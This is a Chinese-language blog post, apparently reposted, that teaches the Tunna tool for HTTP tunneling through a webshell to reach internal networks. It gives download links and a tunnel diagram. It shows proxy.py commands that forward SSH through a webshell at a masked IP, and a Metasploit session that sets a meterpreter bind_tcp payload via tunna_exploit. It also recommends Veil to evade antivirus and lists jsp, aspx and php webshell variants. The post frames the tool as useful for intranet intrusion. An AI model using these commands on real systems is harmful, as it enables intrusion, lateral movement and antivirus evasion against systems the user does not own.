+-------------------------------------------+                     +-------------------------------------------+
| Local Host                                |                     | Remote Host                               |
|-------------------------------------------|                     |-------------------------------------------|
|   +----------+       +------------+       |   +-------------+   |   +------------+        +----------+      |
|   |Client App|+----->|Local Proxy |<==========|  Firewall   |======>|  Webshell  |+------>|Server App|      |
|   +----------+       +------------+       |   +-------------+   |   +------------+        +----------+      |
+-------------------------------------------+                     +------------------------------------------ +

可以看出该工具先使用proxy.py监听本地一个端口,然后连接部署在远程WEB的webshell,远端的webshell会把端口转发请求转发到本地或者本地内网远程的主机,从而实现HTTP tunneling.这对于内网入侵来说,是很有用的一个工具.

该工具看起来是不是有似曾相识的感觉,恩.其实和reduh原理是一样的,不过tunna更稳定,速度更快.

下载地址是:http://www.secforce.com/media/tools/tunna_v0.1.zip

百度云盘下载地址: http://pan.baidu.com/s/122RwN

下面讲解4个实例,就能掌握该工具使用方法了.

tunna工具使用实例_tunna

实例2

对于有些服务,比如SSH,还需要添加-s参数,才能保证连接的时候不会中断.

python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 22 -v -s
ssh localhost -p 1234

tunna工具使用实例_tunna_02


实例3

对于喜欢metasploit的朋友,该工具也支持,不过如果对方有杀软的话,建议先用veil做好meterpreter的免杀.

首先把tunna_exploit.rb拷贝到msf的modules/exploits/windows/misc目录.

cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc

然后开始利用

msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7  <-- 注意这里是指本地的公网IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit -j

tunna除了支持jsp还支持以下环境和脚本

conn.jsp    Tested on Apache Tomcat (windows + linux)
conn.aspx   Tested on IIS 6+8 (windows server 2003/2012)
conn.php    Tested on LAMP + XAMPP + IIS (windows + linux)

使用的时候需要注意:metasploit里的脚本只对应metasploit使用

转载文章请注明,转载自:小马's Blog http://www.i0day.com